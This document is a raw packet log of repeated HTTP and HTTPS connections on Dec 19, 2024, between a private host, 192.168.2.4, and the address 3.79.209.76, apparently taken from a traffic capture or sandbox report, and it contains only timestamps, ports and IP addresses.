Dec 19, 2024 22:40:07.422411919 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.422472000 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.422540903 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.422785044 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.543401003 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.991602898 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.991712093 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.991849899 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:08.013987064 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:08.014034033 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:09.495292902 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:09.495409966 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:09.553627968 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:09.553693056 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:09.554148912 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:09.555377007 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:09.559035063 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:09.599375010 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.184269905 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.184345007 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.184364080 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.184432983 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.184469938 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.184493065 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.184495926 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.184552908 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.184621096 CET	49732	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.184649944 CET	443	49732	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.304645061 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.304686069 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:10.304764986 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.304997921 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:10.305005074 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:11.706248045 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:11.706335068 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:11.707102060 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:11.707113028 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:11.709404945 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:11.709409952 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459625959 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459683895 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459703922 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.459728003 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459743977 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.459773064 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.459779024 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459829092 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.459858894 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.459909916 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.460309982 CET	49733	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.460326910 CET	443	49733	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.588805914 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.588898897 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:12.589042902 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.589551926 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:12.589589119 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.026226997 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.026341915 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.027124882 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.027158976 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.029455900 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.029489994 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.719434023 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.719492912 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.719511986 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.719578028 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.719615936 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.719628096 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.719635963 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.719675064 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.719789028 CET	49734	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.719818115 CET	443	49734	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.836098909 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.836139917 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:14.836230040 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.836474895 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:14.836487055 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.227180004 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.227304935 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.228070021 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.228079081 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.230443001 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.230447054 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.945818901 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.945858955 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.945938110 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:16.946068048 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.946068048 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.946336031 CET	49735	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:16.946350098 CET	443	49735	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:17.054722071 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:17.054749966 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:17.054852009 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:17.055049896 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:17.055063009 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:18.444662094 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:18.444746017 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:18.445255041 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:18.445264101 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:18.447117090 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:18.447122097 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.138957024 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.139019012 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.139043093 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.139056921 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.139076948 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.139132977 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.139137030 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.139166117 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.139214993 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.139401913 CET	49736	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.139415026 CET	443	49736	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.258213043 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.258304119 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:19.258384943 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.258666992 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:19.258706093 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:20.642231941 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:20.642846107 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:20.645235062 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:20.645235062 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:20.645268917 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:20.645312071 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.341567993 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.341593981 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.341646910 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.341680050 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.341742992 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.341909885 CET	49737	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.341949940 CET	443	49737	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.445475101 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.445595980 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:21.445735931 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.445965052 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:21.446002960 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:22.827651024 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:22.827754974 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:22.829616070 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:22.829647064 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:22.831804991 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:22.831816912 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.519659996 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.519697905 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.519793034 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.519876957 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.519911051 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.520195961 CET	49739	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.520215034 CET	443	49739	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.633315086 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.633400917 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:23.633652925 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.634049892 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:23.634099960 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.024657011 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.024847031 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.025470018 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.025513887 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.033451080 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.033463955 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.720798016 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.720897913 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.720954895 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.721000910 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.721107006 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.721107006 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.721143007 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.721551895 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.721570015 CET	443	49743	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.721596956 CET	49743	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.858596087 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.858628035 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:25.858726978 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.859081984 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:25.859097004 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.243808985 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.243887901 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.244446993 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.244455099 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.253792048 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.253798008 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.940064907 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.940126896 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.940222025 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.940247059 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.940294027 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:27.940345049 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.941926003 CET	49745	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:27.941943884 CET	443	49745	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:28.102485895 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:28.102511883 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:28.102623940 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:28.102937937 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:28.102950096 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:29.491934061 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:29.492039919 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:29.492602110 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:29.492610931 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:29.499057055 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:29.499063015 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184189081 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184243917 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184279919 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184294939 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184304953 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184339046 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184343100 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184387922 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184420109 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.184468031 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184578896 CET	49747	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.184596062 CET	443	49747	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.289706945 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.289813995 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:30.290059090 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.290321112 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:30.290350914 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:31.678674936 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:31.678880930 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:31.679661989 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:31.679670095 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:31.702399969 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:31.702404976 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.389193058 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.389223099 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.389290094 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.389421940 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:32.389719009 CET	49748	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:32.389780045 CET	443	49748	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.508699894 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:32.508794069 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:32.508903980 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:32.509208918 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:32.509244919 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:33.898730040 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:33.898839951 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:33.899420023 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:33.899447918 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:33.902108908 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:33.902122021 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.592869997 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.592930079 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.593024969 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.593096972 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.593135118 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.593136072 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.593162060 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.593206882 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.647270918 CET	49749	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.647345066 CET	443	49749	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.948191881 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.948288918 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:34.948370934 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.949016094 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:34.949058056 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:36.379174948 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:36.383274078 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:36.383739948 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:36.383749962 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:36.386039019 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:36.386043072 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.075550079 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.075609922 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.075660944 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.075690031 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.075705051 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.075747013 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.075758934 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.075820923 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.075913906 CET	49750	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.075927019 CET	443	49750	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.181333065 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.181422949 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:37.181556940 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.181747913 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:37.181772947 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:38.569422007 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:38.569564104 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:38.570031881 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:38.570059061 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:38.571574926 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:38.571588039 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.261611938 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.261672974 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.261814117 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.261842012 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.261842012 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.261909962 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.262043953 CET	49751	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.262080908 CET	443	49751	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.367548943 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.367677927 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:39.367758036 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.368138075 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:39.368218899 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:40.758049965 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:40.758200884 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:40.758650064 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:40.758676052 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:40.760643959 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:40.760656118 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.451102018 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.451174974 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.451204062 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.451276064 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.451356888 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.451356888 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.451359034 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.451411009 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.451498985 CET	49752	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.451529026 CET	443	49752	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.554796934 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.554847956 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:41.554929972 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.555121899 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:41.555130959 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:42.945389032 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:42.945460081 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:42.971417904 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:42.971426964 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:42.986574888 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:42.986582041 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.636950016 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.637011051 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.637016058 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637042999 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.637068033 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637088060 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637095928 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.637131929 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637182951 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.637228966 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637423038 CET	49753	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.637438059 CET	443	49753	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.769764900 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.769855976 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:43.769933939 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.770472050 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:43.770514011 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.164581060 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.164865971 CET	49754	443	192.168.2.4	3.79.209.76
